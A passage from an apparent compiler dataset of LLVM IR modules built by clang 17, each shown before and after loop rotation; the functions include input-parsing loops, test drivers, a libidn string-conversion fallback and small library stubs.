= call ptr @fgets(ptr noundef %99, i32 noundef 255, i32 noundef %100) %102 = icmp ne ptr %101, null br i1 %102, label %103, label %107 103: ; preds = %98 %104 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %105 = call i64 @strncmp(ptr noundef %104, ptr noundef @.str.4, i32 noundef 6) %106 = icmp ne i64 %105, 0 br label %107 107: ; preds = %103, %98 %108 = phi i1 [ false, %98 ], [ %106, %103 ] br i1 %108, label %98, label %109, !llvm.loop !8 109: ; preds = %107 %110 = load i32, ptr @stdout, align 4 %111 = load i32, ptr %4, align 4 %112 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %110, ptr noundef @.str.5, i32 noundef %111) store i32 0, ptr %3, align 4 %113 = load i32, ptr %10, align 4 %114 = load i32, ptr %9, align 4 %115 = add nsw i32 %113, %114 %116 = load i32, ptr %7, align 4 %117 = add nsw i32 %115, %116 store i32 %117, ptr %11, align 4 store i32 16, ptr %2, align 4 %118 = load i32, ptr %2, align 4 %119 = load i32, ptr %11, align 4 %120 = icmp sgt i32 %118, %119 br i1 %120, label %.lr.ph, label %132 .lr.ph: ; preds = %109 br label %121 121: ; preds = %.lr.ph, %126 %122 = load i32, ptr @stdout, align 4 %123 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %122, ptr noundef @.str.6) %124 = load i32, ptr %3, align 4 %125 = add nsw i32 %124, 4 store i32 %125, ptr %3, align 4 br label %126 126: ; preds = %121 %127 = load i32, ptr %2, align 4 %128 = add nsw i32 %127, -1 store i32 %128, ptr %2, align 4 %129 = load i32, ptr %2, align 4 %130 = load i32, ptr %11, align 4 %131 = icmp sgt i32 %129, %130 br i1 %131, label %121, label %._crit_edge, !llvm.loop !9 ._crit_edge: ; preds = %126 br label %132 132: ; preds = %._crit_edge, %109 br label %133 133: ; preds = %152, %132 %134 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %135 = load i32, ptr @stdin, align 4 %136 = call ptr @fgets(ptr noundef %134, i32 noundef 255, i32 noundef %135) %137 = icmp ne ptr %136, null br i1 %137, label %138, label %142 138: ; preds = %133 %139 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %140 = call i64 @strncmp(ptr noundef %139, ptr noundef @.str.7, i32 noundef 3) %141 = icmp ne i64 %140, 0 br label %142 142: ; preds = %138, %133 %143 = phi i1 [ false, %133 ], [ %141, %138 ] br i1 %143, label %144, label %161 144: ; preds = %142 %145 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %146 = call i32 (ptr, ptr, ...) @sscanf(ptr noundef %145, ptr noundef @.str.8, ptr noundef %12) %147 = load i32, ptr %6, align 4 %148 = icmp sle i32 %147, 8 br i1 %148, label %149, label %152 149: ; preds = %144 %150 = load i32, ptr %12, align 4 %151 = shl i32 %150, 8 store i32 %151, ptr %12, align 4 br label %152 152: ; preds = %149, %144 %153 = load i32, ptr %8, align 4 %154 = load i32, ptr %12, align 4 %155 = lshr i32 %154, %153 store i32 %155, ptr %12, align 4 %156 = load i32, ptr @stdout, align 4 %157 = load i32, ptr %12, align 4 %158 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %156, ptr noundef @.str.9, i32 noundef %157) %159 = load i32, ptr %3, align 4 %160 = add nsw i32 %159, 4 store i32 %160, ptr %3, align 4 br label %133, !llvm.loop !10 161: ; preds = %142 %162 = load i32, ptr %3, align 4 %163 = icmp slt i32 %162, 64 br i1 %163, label %.lr.ph2, label %171 .lr.ph2: ; preds = %161 br label %164 164: ; preds = %.lr.ph2, %164 %165 = load i32, ptr @stdout, align 4 %166 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %165, ptr noundef @.str.6) %167 = load i32, ptr %3, align 4 %168 = add nsw i32 %167, 4 store i32 %168, ptr %3, align 4 %169 = load i32, ptr %3, align 4 %170 = icmp slt i32 %169, 64 br i1 %170, label %164, label %._crit_edge3, !llvm.loop !11 ._crit_edge3: ; preds = %164 br label %171 171: ; preds = %._crit_edge3, %161 %172 = load i32, ptr @stdout, align 4 %173 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %172, ptr noundef @.str.10) br label %174 174: ; preds = %171, %80, %77 br label %175 175: ; preds = %174, %17 %176 = load i32, ptr @stdin, align 4 %177 = call ptr @fgets(ptr noundef %13, i32 noundef 255, i32 noundef %176) %178 = icmp ne ptr %177, null br i1 %178, label %17, label %._crit_edge6, !llvm.loop !12 ._crit_edge6: ; preds = %175 br label %179 179: ; preds = %._crit_edge6, %0 %180 = call i32 @exit(i32 noundef 0) #3 unreachable } declare ptr @fgets(ptr noundef, i32 noundef, i32 noundef) #1 declare i64 @strncmp(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @sscanf(ptr noundef, ptr noundef, ...) #1 declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7} !12 = distinct !{!12, !7}
; ModuleID = '/tmp/tmpagl5ard9.c' source_filename = "/tmp/tmpagl5ard9.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 br label %4 4: ; preds = %10, %0 %5 = load i32, ptr %2, align 4 %6 = icmp slt i32 %5, 10 br i1 %6, label %7, label %13 7: ; preds = %4 %8 = load i32, ptr %2, align 4 %9 = call i32 @test_simple(i32 noundef %8) br label %10 10: ; preds = %7 %11 = load i32, ptr %2, align 4 %12 = add nsw i32 %11, 1 store i32 %12, ptr %2, align 4 br label %4, !llvm.loop !6 13: ; preds = %4 %14 = call i32 @printf(ptr noundef @.str) store i32 0, ptr %3, align 4 br label %15 15: ; preds = %21, %13 %16 = load i32, ptr %3, align 4 %17 = icmp slt i32 %16, 10 br i1 %17, label %18, label %24 18: ; preds = %15 %19 = load i32, ptr %3, align 4 %20 = call i32 @test_default(i32 noundef %19) br label %21 21: ; preds = %18 %22 = load i32, ptr %3, align 4 %23 = add nsw i32 %22, 1 store i32 %23, ptr %3, align 4 br label %15, !llvm.loop !8 24: ; preds = %15 %25 = call i32 @printf(ptr noundef @.str) %26 = load i32, ptr %1, align 4 ret i32 %26 } declare i32 @test_simple(i32 noundef) #1 declare i32 @printf(ptr noundef) #1 declare i32 @test_default(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpagl5ard9.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 %4 = load i32, ptr %2, align 4 %5 = icmp slt i32 %4, 10 br i1 %5, label %.lr.ph, label %14 .lr.ph: ; preds = %0 br label %6 6: ; preds = %.lr.ph, %9 %7 = load i32, ptr %2, align 4 %8 = call i32 @test_simple(i32 noundef %7) br label %9 9: ; preds = %6 %10 = load i32, ptr %2, align 4 %11 = add nsw i32 %10, 1 store i32 %11, ptr %2, align 4 %12 = load i32, ptr %2, align 4 %13 = icmp slt i32 %12, 10 br i1 %13, label %6, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %9 br label %14 14: ; preds = %._crit_edge, %0 %15 = call i32 @printf(ptr noundef @.str) store i32 0, ptr %3, align 4 %16 = load i32, ptr %3, align 4 %17 = icmp slt i32 %16, 10 br i1 %17, label %.lr.ph2, label %26 .lr.ph2: ; preds = %14 br label %18 18: ; preds = %.lr.ph2, %21 %19 = load i32, ptr %3, align 4 %20 = call i32 @test_default(i32 noundef %19) br label %21 21: ; preds = %18 %22 = load i32, ptr %3, align 4 %23 = add nsw i32 %22, 1 store i32 %23, ptr %3, align 4 %24 = load i32, ptr %3, align 4 %25 = icmp slt i32 %24, 10 br i1 %25, label %18, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %21 br label %26 26: ; preds = %._crit_edge3, %14 %27 = call i32 @printf(ptr noundef @.str) %28 = load i32, ptr %1, align 4 ret i32 %28 } declare i32 @test_simple(i32 noundef) #1 declare i32 @printf(ptr noundef) #1 declare i32 @test_default(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmpzt97yrl6.c' source_filename = "/tmp/tmpzt97yrl6.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @laby_game_menu_init() #0 { %1 = call i32 (...) @laby_game_menu_handler() ret i32 %1 } declare i32 @laby_game_menu_handler(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpzt97yrl6.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @laby_game_menu_init() #0 { %1 = call i32 (...) @laby_game_menu_handler() ret i32 %1 } declare i32 @laby_game_menu_handler(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp0r7t4bg_.c' source_filename = "/tmp/tmp0r7t4bg_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [76 x i8] c"libidn: warning: libiconv not installed, cannot convert data from %s to %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @stringprep_convert(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 %8 = alloca ptr, align 8 %9 = alloca i32, align 4 %10 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store ptr %1, ptr %7, align 8 store ptr %2, ptr %8, align 8 store i32 %3, ptr %9, align 4 %11 = load i32, ptr @stderr, align 4 %12 = load ptr, ptr %8, align 8 %13 = load ptr, ptr %7, align 8 %14 = call i32 @fprintf(i32 noundef %11, ptr noundef @.str, ptr noundef %12, ptr noundef %13) %15 = load ptr, ptr %6, align 8 %16 = call i64 @strlen(ptr noundef %15) %17 = add nsw i64 %16, 1 %18 = call ptr @malloc(i64 noundef %17) store ptr %18, ptr %10, align 8 %19 = load ptr, ptr %10, align 8 %20 = icmp ne ptr %19, null br i1 %20, label %22, label %21 21: ; preds = %4 store ptr null, ptr %5, align 8 br label %27 22: ; preds = %4 %23 = load ptr, ptr %10, align 8 %24 = load ptr, ptr %6, align 8 %25 = call i32 @strcpy(ptr noundef %23, ptr noundef %24) %26 = load ptr, ptr %10, align 8 store ptr %26, ptr %5, align 8 br label %27 27: ; preds = %22, %21 %28 = load ptr, ptr %5, align 8 ret ptr %28 } declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare ptr @malloc(i64 noundef) #1 declare i64 @strlen(ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp0r7t4bg_.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [76 x i8] c"libidn: warning: libiconv not installed, cannot convert data from %s to %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @stringprep_convert(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 %8 = alloca ptr, align 8 %9 = alloca i32, align 4 %10 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store ptr %1, ptr %7, align 8 store ptr %2, ptr %8, align 8 store i32 %3, ptr %9, align 4 %11 = load i32, ptr @stderr, align 4 %12 = load ptr, ptr %8, align 8 %13 = load ptr, ptr %7, align 8 %14 = call i32 @fprintf(i32 noundef %11, ptr noundef @.str, ptr noundef %12, ptr noundef %13) %15 = load ptr, ptr %6, align 8 %16 = call i64 @strlen(ptr noundef %15) %17 = add nsw i64 %16, 1 %18 = call ptr @malloc(i64 noundef %17) store ptr %18, ptr %10, align 8 %19 = load ptr, ptr %10, align 8 %20 = icmp ne ptr %19, null br i1 %20, label %22, label %21 21: ; preds = %4 store ptr null, ptr %5, align 8 br label %27 22: ; preds = %4 %23 = load ptr, ptr %10, align 8 %24 = load ptr, ptr %6, align 8 %25 = call i32 @strcpy(ptr noundef %23, ptr noundef %24) %26 = load ptr, ptr %10, align 8 store ptr %26, ptr %5, align 8 br label %27 27: ; preds = %22, %21 %28 = load ptr, ptr %5, align 8 ret ptr %28 } declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1 declare ptr @malloc(i64 noundef) #1 declare i64 @strlen(ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp8kyw3eoa.c' source_filename = "/tmp/tmp8kyw3eoa.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp8kyw3eoa.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpfrcvdzu0.c' source_filename = "/tmp/tmpfrcvdzu0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @aslc_is_sym(i8 noundef signext %0) #0 { %2 = alloca i8, align 1 store i8 %0, ptr %2, align 1 %3 = load i8, ptr %2, align 1 %4 = sext i8 %3 to i32 %5 = icmp eq i32 %4, 40 br i1 %5, label %18, label %6 6: ; preds = %1 %7 = load i8, ptr %2, align 1 %8 = sext i8 %7 to i32 %9 = icmp eq i32 %8, 41 br i1 %9, label %18, label %10 10: ; preds = %6 %11 = load i8, ptr %2, align 1 %12 = sext i8 %11 to i32 %13 = icmp eq i32 %12, 64 br i1 %13, label %18, label %14 14: ; preds = %10 %15 = load i8, ptr %2, align 1 %16 = sext i8 %15 to i32 %17 = icmp eq i32 %16, 36 br label %18 18: ; preds = %14, %10, %6, %1 %19 = phi i1 [ true, %10 ], [ true, %6 ], [ true, %1 ], [ %17, %14 ] %20 = zext i1 %19 to i32 ret i32 %20 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpfrcvdzu0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @aslc_is_sym(i8 noundef signext %0) #0 { %2 = alloca i8, align 1 store i8 %0, ptr %2, align 1 %3 = load i8, ptr %2, align 1 %4 = sext i8 %3 to i32 %5 = icmp eq i32 %4, 40 br i1 %5, label %18, label %6 6: ; preds = %1 %7 = load i8, ptr %2, align 1 %8 = sext i8 %7 to i32 %9 = icmp eq i32 %8, 41 br i1 %9, label %18, label %10 10: ; preds = %6 %11 = load i8, ptr %2, align 1 %12 = sext i8 %11 to i32 %13 = icmp eq i32 %12, 64 br i1 %13, label %18, label %14 14: ; preds = %10 %15 = load i8, ptr %2, align 1 %16 = sext i8 %15 to i32 %17 = icmp eq i32 %16, 36 br label %18 18: ; preds = %14, %10, %6, %1 %19 = phi i1 [ true, %10 ], [ true, %6 ], [ true, %1 ], [ %17, %14 ] %20 = zext i1 %19 to i32 ret i32 %20 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpw0ytbupx.c' source_filename = "/tmp/tmpw0ytbupx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @pubnub_assert_handler_printf(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %7 = load ptr, ptr %4, align 8 %8 = load ptr, ptr %5, align 8 %9 = load i64, ptr %6, align 8 %10 = call i32 @report(ptr noundef %7, ptr noundef %8, i64 noundef %9) ret void } declare i32 @report(ptr noundef, ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpw0ytbupx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @pubnub_assert_handler_printf(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %7 = load ptr, ptr %4, align 8 %8 = load ptr, ptr %5, align 8 %9 = load i64, ptr %6, align 8 %10 = call i32 @report(ptr noundef %7, ptr noundef %8, i64 noundef %9) ret void } declare i32 @report(ptr noundef, ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpsaikypnn.c' source_filename = "/tmp/tmpsaikypnn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @pthread_cancel(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 %0, ptr %3, align 4 %4 = load i32, ptr %3, align 4 %5 = call i32 @thread_exit(i32 noundef %4) %6 = load i32, ptr %2, align 4 ret i32 %6 } declare i32 @thread_exit(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = 